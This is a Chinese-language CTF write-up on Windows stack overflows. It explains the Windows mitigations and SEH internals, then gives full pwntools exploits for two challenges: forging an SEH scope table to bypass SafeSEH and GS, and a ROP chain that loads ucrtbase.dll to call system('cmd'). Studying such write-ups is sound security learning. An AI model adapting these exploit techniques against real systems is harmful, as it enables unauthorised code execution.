简单的栈溢出题,边学边写。
-.-

Windows下的机制

在Windows下有一个类似与Linux下的checksec版的检测工具。
winchecksec
由于在安装过程中需要挺多依赖库的,当时我又没有找到编译好的,于是我编译中费了挺多事的,这里是编译好的release版本的。
保护机制的总结:

1.Dynamic Base/ASLR:地址随机化,指示应用程序是否应在加载时随机变基,并启用虚拟地址分配随机化,这会影响堆、堆栈和其他操作系统分配的虚拟内存位置。 /DYNAMICBASE选项适用于32位和64位映像。 Windows Vista 和更高版本的操作系统支持 ASLR。
2.High Entropy VA:高熵64位地址空间布局随机化,内核将进程的地址空间布局作为 ASLR 的一部分随机化时,Windows 内核的兼容版本可以使用更高程度的熵。 如果内核使用更高程度的熵,则可向内存区域(例如堆栈或堆)分配更多的地址。 因此,猜测特定内存区域的位置会更加困难。如果此选项处于打开状态,则目标可执行文件及其依赖的任何模块在作为 64 位进程运行时,必须能够处理大于 4 GB 的指针值。
3.Force Integrity:如果为DLL设置了FORCE U INTEGRITY标志,并且DLL没有签名或签名无效,Windows将不会在进程内加载DLL。
4.Isolation:隔离保护机制,如果开启,程序将在一个相对隔离环境中加载,从而防止攻击者提权。
5.NX:内存页不可运行,将数据段与代码段分开,就防止了代码在数据段运行,比如在栈,堆中执行代码段。
6.SEH:结构化异常处理机制,是微软在Windows系统中引入的异常处理机制。与C++的try…catch…类似,但是更强大更全面一些。
7.CFG:这项技术通过在间接跳转前插入校验代码,检查目标地址的有效性,进而可以阻止执行流跳转到预期之外的地点, 最终及时并有效的进行异常处理,避免引发相关的安全问题。就是在程序间接跳转之前,会判断这个将要跳转的地址是否是合法的。
8.RFG:会在每个函数头部将返回地址保存到fs:[rsp](Thread Control Stack),并在函数返回前将其与栈上返回地址进行比较,从而有效阻止了这些攻击方式。
9.SafeSEH:会事先为你定义一些异常处理程序,并基于此构造安全结构化异常处理表,程序正式运行后,安全结构化异常处理表之外的异常处理程序将会被阻止运行。
10.GS:在栈中写入cookie,在函数返回前进行检查,如果改变了程序终止。
11.Authenticode:采用数字证书对应用程序代码进行签名,数字证书用于验证应用程序发行者的真实性。
12..net:代码混淆保护,编译到本地代码,将代码隐藏到资源中。

SEH机制

异常回调函数的处理过程如下图

其中线程信息块也叫做TIB块,结构如图所示:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct _NT_TIB{
struct _EXCEPTION_REGISTRATION_RECORD *Exceptionlist; // 指向当前线程的 SEH
PVOID StackBase; // 当前线程所使用的栈的栈底
PVOID StackLimit; // 当前线程所使用的栈的栈顶
PVOID SubSystemTib; // 子系统
union {
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self; //指向TIB结构自身
} NT_TIB;

它永远放在fs段选择器指定的数据段的0偏移处,即fs:[0]的地方就是TIB结构。
其中_EXCEPTION_REGISTRATION_RECORD结构主要用于描述线程异常处理句柄的地址,多个该结构的链表描述了多个线程异常处理过程的嵌套层次关系。
结构内容如下:

1
2
3
4
5
6
//  Code in https://source.winehq.org/source/include/winnt.h#2623

typedef struct _EXCEPTION_REGISTRATION_RECORD{
struct _EXCEPTION_REGISTRATION_RECORD *Next; // 指向下一个结构的指针
PEXCEPTION_ROUTINE Handler; // 当前异常处理回调函数的地址
}EXCEPTION_REGISTRATION_RECORD;

其中SEH链及异常的传递为:
通知调试器→SEH链→顶层异常处理→系统默认处理

这个时候我们的思路就已经有了,如果我们可以直接覆盖Handler块,然后我们让程序进入异常处理,我们就可以实现控制程序了。
但是在SaFeSEH中,安全结构化异常处理表之外的异常处理程序将会被阻止运行。我们覆盖的地址肯定不在安全结构化异常处理表之内,所以直接覆盖Handler的方法就不能执行。
这个时候我们就需要去伪造scope table结构体,它地址位于栈上的位置在ebp-0x8处,存的值是和_security_cookie异或之后的结果。

在Scope table中保存了
try块相匹配的 __except 或 __finally的地址值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct _EH4_SCOPETABLE {
DWORD GSCookieOffset;
DWORD GSCookieXOROffset;
DWORD EHCookieOffset;
DWORD EHCookieXOROffset;
_EH4_SCOPETABLE_RECORD ScopeRecord[1];
};
struct _EH4_SCOPETABLE_RECORD {
DWORD EnclosingLevel;
long (*FilterFunc)();
union {
void (*HandlerAddress)();
void (*FinallyFunc)();
};
};

我们可以看到HandlerAddressFinallyFunc是两个指针,如果我们能够伪造一个能够通过前面的代码判断的结构体。我们就可以劫持这个指针。
当程序触发异常后,程序执行__except_handler4函数,此函数代码为:

1
2
3
4
int __cdecl _except_handler4(int a1, int a2, int a3, int a4)
{
return except_handler4_common(&__security_cookie, __security_check_cookie, a1, a2, a3, a4);
}

except_handler4_common是一个库函数。
以下代码是except中的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
void __cdecl ValidateLocalCookies(void (__fastcall *cookieCheckFunction)(unsigned int), _EH4_SCOPETABLE *scopeTable, char *framePointer)
{
unsigned int v3; // esi@2
unsigned int v4; // esi@3

if ( scopeTable->GSCookieOffset != -2 )
{
v3 = *(_DWORD *)&framePointer[scopeTable->GSCookieOffset] ^ (unsigned int)&framePointer[scopeTable->GSCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v3);
}
v4 = *(_DWORD *)&framePointer[scopeTable->EHCookieOffset] ^ (unsigned int)&framePointer[scopeTable->EHCookieXOROffset];
__guard_check_icall_fptr(cookieCheckFunction);
((void (__thiscall *)(_DWORD))cookieCheckFunction)(v4);
}

int __cdecl _except_handler4_common(unsigned int *securityCookies, void (__fastcall *cookieCheckFunction)(unsigned int), _EXCEPTION_RECORD *exceptionRecord, unsigned __int32 sehFrame, _CONTEXT *context)
{
// 异或解密 scope table
scopeTable_1 = (_EH4_SCOPETABLE *)(*securityCookies ^ *(_DWORD *)(sehFrame + 8));

// sehFrame 等于 上图 ebp - 10h 位置, framePointer 等于上图 ebp 的位置
framePointer = (char *)(sehFrame + 16);
scopeTable = scopeTable_1;

// 验证 GS
ValidateLocalCookies(cookieCheckFunction, scopeTable_1, (char *)(sehFrame + 16));
__except_validate_context_record(context);

if ( exceptionRecord->ExceptionFlags & 0x66 )
{
......
}
else
{
exceptionPointers.ExceptionRecord = exceptionRecord;
exceptionPointers.ContextRecord = context;
tryLevel = *(_DWORD *)(sehFrame + 12);
*(_DWORD *)(sehFrame - 4) = &exceptionPointers;
if ( tryLevel != -2 )
{
while ( 1 )
{
v8 = tryLevel + 2 * (tryLevel + 2);
filterFunc = (int (__fastcall *)(_DWORD, _DWORD))*(&scopeTable_1->GSCookieXOROffset + v8);
scopeTableRecord = (_EH4_SCOPETABLE_RECORD *)((char *)scopeTable_1 + 4 * v8);
encloseingLevel = scopeTableRecord->EnclosingLevel;
scopeTableRecord_1 = scopeTableRecord;
if ( filterFunc )
{
// 调用 FilterFunc
filterFuncRet = _EH4_CallFilterFunc(filterFunc);
......
if ( filterFuncRet > 0 )
{
......
// 调用 HandlerFunc
_EH4_TransferToHandler(scopeTableRecord_1->HandlerFunc, v5 + 16);
......
}
}
......
tryLevel = encloseingLevel;
if ( encloseingLevel == -2 )
break;
scopeTable_1 = scopeTable;
}
......
}
}
......
}

这段代码是这个老哥分析的,我只是后人乘凉了。

例题

[HITB GSEC]BABYSTACK

漏洞分析

程序的逻辑还是十分简单的,在程序一开始就泄露了程序的stack地址与text段的地址,如果输入yes,程序打印v5*v5,即我们可以用这个来进行任意地址的泄露。
如果输入不等于no跟yes,程序进入栈溢出分支。
存在后门函数

程序利用

现在我们只要知道win的栈空间是什么样子的,以及怎么去劫持指针就可以实现利用。
首先我们通过x32dbg来看一波在栈溢出分支内的栈结构

0x313FCE4为ebp的地址,上面俺贴出了栈的结构图,ebp-0x8为Scope_table,ebp-0xc指向__except_handler4函数,ebp-0x10指向下一个SEH指针。ebp-0x1c为GS。

这边可以看到,GS其实是__security_cookie^ebp后的值,ebp-0xc处存放__security_cookie^Scope_table,所以我们要伪造Scope_table结构,我们需要在栈上放入与__security_cookie
异或完事后的指针。
首先我们伪造Scope_table

1
2
3
4
5
6
7
8
SCOPETABLE = [
0x0FFFFFFE4, #GSCookieOffset
0, #GSCookieXOROffset
0x0FFFFFF20,#EHCookieOffset
0, #EHCookieXOROffset
0xFFFFFFFE, #EnclosingLevel
shell_addr,#HandlerAddress
]

然后我们写payload

1
2
payload="A"*4+flat(SCOPETABLE).ljust(0x80-4)+p32(ebp^security_cookie)+"A"*8
payload+=p32(next_SEH)+p32(__except_handler4_addr)+p32(FAKE_SCOPTABLE^security_cookie)

在此我们需要security_cookie,ebp,next_SEH,__except_handler4_addr这些的地址。
security_cookie在程序偏移0x4004处,我们可以通过泄露的text地址来计算出security_cookie的地址从而泄露。
ebp的地址可以直接通过泄露的栈地址来计算出来。
next_SEH,__except_handler4_addr同理。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*
from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

p = remote('10.160.104.134', 10000)
p.recvuntil("address = 0x")
stack_addr=int(p.recvuntil("\n",True),16)
p.recvuntil("address = 0x")
main_addr=int(p.recvuntil("\n",True),16)
shell_addr=main_addr+733
print "stack_addr=",hex(stack_addr)
print "base_addr=",hex(main_addr-0x10b0)
print "BP_addr=",hex(main_addr-0x10b0+0x1272)
print "shell_addr=",hex(shell_addr)
next_SEH=stack_addr+0xd4
security_cookie_addr=main_addr-0x10b0+0x4004

p.sendlineafter("know more?\r\n","yes")
p.sendlineafter("want to know\r\n",str(security_cookie_addr))
p.recvuntil("value is 0x")
security_cookie=int(p.recvuntil("\n",True),16)
SCOPETABLE = [
0x0FFFFFFE4, #GSCookieOffset
0, #GSCookieXOROffset
0x0FFFFFF20,#EHCookieOffset
0, #EHCookieXOROffset
0xFFFFFFFE, #EnclosingLevel
shell_addr,#HandlerAddress
]
payload="A"*4+flat(SCOPETABLE).ljust(0x80-4)+p32((stack_addr+0x9c)^security_cookie)+"A"*8
payload+=p32(next_SEH)+p32(main_addr-0x10b0+0x1460)+p32((stack_addr+0x4)^security_cookie)
print "len=",hex(len(payload))

p.sendlineafter("know more?\r\n","no12")
p.sendline(payload)
p.sendlineafter("know more?\r\n","yes")
p.sendlineafter("want to know\r\n","0")
p.interactive()

例子2

2020强网杯wingame

漏洞分析

程序保护查看

查找漏洞

可以看到程序让input三次,input存在溢出,如果我们用第一次的溢出来泄露GS,最后一次的溢出来控制返回地址到main函数地址,那么第二次的溢出就是我们可以去自由发挥的地方。

利用思路

我们可以查看在read时候的栈结构

发现如果我们控制输入的长度,可以泄露出stack的程序地址,kernel32.dll的地址,ntdll.dll的地址。
这也就意味着我们可以任意调用这两个dll的任何函数与汇编。
但是在我们的搜索后发现,这两个dll中没有能够shell的函数,反而在我们无法控制的ucrtbase.dll中找到了system函数。
但是我们没办法去泄露ucrtbase.dll的地址。
于是这里我们使用在kernel32.dll里的LoadLibraryA函数来加载ucrtbase.dll,这样他的返回值就为ucrtbase.dll的基地址,通过构造特定的ROP链来实现shell。
于是我们的利用大致思路就有了

1.泄露kernel32.dll、ntdll.dll与程序的地址
2.在bss中写入kernel32.dllcmd字符串
3.调用LoadLibraryA将ucrtbase.dll返回地址带入rax
4.通过add_rax来实现rax=shell
5.通过jmp rax来执行shell

漏洞利用

1.泄露地址
我们通过计算偏移来泄露处GS的值,这里偏移是(0x118-0x18)

1
2
3
4
5
p.recvuntil("input:")
p.send("A"*0xf8+"ACADDADD")
p.recvuntil("ACADDADD")
stack_cookie=u64(p.recvuntil('\r\n',drop = True).ljust(8,'\x00'))
print "stack_cookie1=",hex(stack_cookie)

然后我们来泄露程序的基地址

1
2
3
4
5
p.recvuntil("input:")
p.send("A"*0x110+"ACADDADD")
p.recvuntil("ACADDADD")
exe_addr=u64(p.recv(6).ljust(8,'\x00'))-0x12f4
print hex(exe_addr)

通过泄露出来的程序地址与GS的值来构造payload令程序返回到main函数头,使程序循环。

1
2
3
main_addr=exe_addr+0x1000
p.recvuntil("input:")
p.send("A"*0x100+p64(stack_cookie)+"a"*0x10+p64(main_addr))

同理,我们可以泄露出kernel32.dllntdll.dll

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
p.recvuntil("input:")
p.send("A"*0xf8+"ACADDADD")
p.recvuntil("ACADDADD")
stack_cookie=u64(p.recvuntil('\r\n',drop = True).ljust(8,'\x00'))
print "stack_cookie2=",hex(stack_cookie)

p.recvuntil("input:")
p.send("A"*0x148+"ACADDADD")
p.recvuntil("ACADDADD")
kernel32_addr=u64(p.recv(6).ljust(8,'\x00'))-0x14034
print "kernel32.dll=",hex(kernel32_addr)
LoadLibraryA=kernel32_addr+0x1E710

p.recvuntil("input:")
p.send("A"*0x100+p64(stack_cookie)+"a"*0x10+p64(main_addr))

p.recvuntil("input:")
p.send("A"*0xf8+"ACADDADD")
p.recvuntil("ACADDADD")
stack_cookie=u64(p.recvuntil('\r\n',drop = True).ljust(8,'\x00'))
print "stack_cookie3=",hex(stack_cookie)

p.recvuntil("input:")
p.send("A"*0x170+"ACADDADD")
p.recvuntil("ACADDADD")
ntdll_addr=u64(p.recv(6).ljust(8,'\x00'))-0x73691

这里kernel32.dllntdll.dll基址的计算可能会因为dll文件小版本的不同而不一样。
接下来我们需要去找到我们需要的代码块

1
2
3
4
5
6
7
pop_rcx_ret=ntdll_addr+0x8da1d
add_brbp_esi_ret=kernel32_addr+0xdf43 #+0x2c
pop_rbp_ret=kernel32_addr+0x12b1
pop_rsi_ret=kernel32_addr+0x14a5
jmp_rax=kernel32_addr+0x222d0
add_rax_rcx=kernel32_addr+0x6f2ce
system_offiet=0xA9CC0

这里的偏移我们要根据自己的dll文件来判断.
我们通过

1
2
add [rbp], rsi
ret

来进行字符串的写入.
但是我们翻了一圈也只找到类似的代码
命令
ROPgadget --binary kernel32.dll --only "add|ret" | grep rbp

1
0x000000018000df43 : add dword ptr [rbp - 0x2c], esi ; ret

不过我们至少能写入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
payload="A"*0x100+p64(stack_cookie)+p64(0)+p64(system_offiet)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c)
payload+=p64(pop_rsi_ret)+p64(0x74726375) #curt
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c+0x4)
payload+=p64(pop_rsi_ret)+p64(0x65736162) #base
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c+0x8)
payload+=p64(pop_rsi_ret)+p64(0x6C6C642E) #.dll
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c+0xc)
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c+0x10)
payload+=p64(pop_rsi_ret)+p64(0x646D63) # cmd
payload+=p64(add_brbp_esi_ret)

这样我们就实现了写入cmdcurtbase.dll字符串
我们可以用windbg看一下。

1
2
3
4
0:000> da /c 30 0x7ff790733e80 
00007ff7`90733e80 "ucrtbase.dll"
0:000> da /c 30 0x7ff790733e90
00007ff7`90733e90 "cmd"

可以看出我们将字符串写入程序内。
接下来我们只需要调用LoadLibraryA('ucrtbase.dll')->system('cmd') 就可以

1
2
3
payload+=p64(pop_rcx_ret)+p64(data_addr)+p64(pop_rsi_ret)+p64(add_rax_rcx)+p64(LoadLibraryA)
payload+=p64(pop_rcx_ret)+p64(system_offiet)+p64(add_rax_rcx)
payload+=p64(pop_rcx_ret)+p64(data_addr+0x10)+p64(jmp_rax)

上面的payload的大概意思就是将ucrtbase.dll字符串放入rcx寄存器,然后调用LoadLibraryA函数,然后将system的偏移放入rcx寄存器,通过add rax,rcx来将rax加到shell的地址
然后通过pop rcx将cmd放入rcx寄存器,最后jmp rax执行system('cmd')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context.log_level="debug"

p = remote("10.160.111.186", 10000)


p.recvuntil("input:")
p.send("A"*0xf8+"ACADDADD")
p.recvuntil("ACADDADD")
stack_cookie=u64(p.recvuntil('\r\n',drop = True).ljust(8,'\x00'))
print "stack_cookie1=",hex(stack_cookie)

p.recvuntil("input:")
p.send("A"*0x110+"ACADDADD")
p.recvuntil("ACADDADD")
exe_addr=u64(p.recv(6).ljust(8,'\x00'))-0x12f4
print hex(exe_addr)

data_addr = exe_addr + 0x3e80
main_addr=exe_addr+0x1000
p.recvuntil("input:")
p.send("A"*0x100+p64(stack_cookie)+"a"*0x10+p64(main_addr))


p.recvuntil("input:")
p.send("A"*0xf8+"ACADDADD")
p.recvuntil("ACADDADD")
stack_cookie=u64(p.recvuntil('\r\n',drop = True).ljust(8,'\x00'))
print "stack_cookie2=",hex(stack_cookie)

p.recvuntil("input:")
p.send("A"*0x148+"ACADDADD")
p.recvuntil("ACADDADD")
kernel32_addr=u64(p.recv(6).ljust(8,'\x00'))-0x14034
print "kernel32.dll=",hex(kernel32_addr)
LoadLibraryA=kernel32_addr+0x1E710

p.recvuntil("input:")
p.send("A"*0x100+p64(stack_cookie)+"a"*0x10+p64(main_addr))

p.recvuntil("input:")
p.send("A"*0xf8+"ACADDADD")
p.recvuntil("ACADDADD")
stack_cookie=u64(p.recvuntil('\r\n',drop = True).ljust(8,'\x00'))
print "stack_cookie3=",hex(stack_cookie)

p.recvuntil("input:")
p.send("A"*0x170+"ACADDADD")
p.recvuntil("ACADDADD")
ntdll_addr=u64(p.recv(6).ljust(8,'\x00'))-0x73691

pop_rcx_ret=ntdll_addr+0x8da1d
add_brbp_esi_ret=kernel32_addr+0xdf43 #+0x2c
pop_rbp_ret=kernel32_addr+0x12b1
pop_rsi_ret=kernel32_addr+0x14a5
jmp_rax=kernel32_addr+0x222d0
add_rax_rcx=kernel32_addr+0x6f2ce
system_offiet=0xA9CC0

print "pop_rsi_ret=",hex(pop_rsi_ret)
print "pop_rbp_ret=",hex(pop_rbp_ret)
print "pop_rcx_ret=",hex(pop_rcx_ret)

print "ntdll.dll=",hex(ntdll_addr)
print "data_addr=",hex(data_addr)
p.recvuntil("input:")
pause()
payload="A"*0x100+p64(stack_cookie)+p64(0)+p64(system_offiet)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c)
payload+=p64(pop_rsi_ret)+p64(0x74726375)
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c+0x4)
payload+=p64(pop_rsi_ret)+p64(0x65736162)
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c+0x8)
payload+=p64(pop_rsi_ret)+p64(0x6C6C642E)
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c+0xc)
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rbp_ret)+p64(data_addr+0x2c+0x10)
payload+=p64(pop_rsi_ret)+p64(0x646D63)
payload+=p64(add_brbp_esi_ret)
payload+=p64(pop_rcx_ret)+p64(data_addr)+p64(pop_rsi_ret)+p64(add_rax_rcx)+p64(LoadLibraryA)
payload+=p64(pop_rcx_ret)+p64(system_offiet)+p64(add_rax_rcx)
payload+=p64(pop_rcx_ret)+p64(data_addr+0x10)+p64(jmp_rax)


p.send(payload)

p.interactive() # interactive2 for Remote available

效果:

成功弹出shell。

总结

Win下的栈溢出比Linux下的栈溢出麻烦一点,但是由于SEH机制的问题,导致Win下的栈溢出不仅可以覆写返回地址,还可以伪造SEH来实现指针劫持。
初次学习,写这个来记录下过程。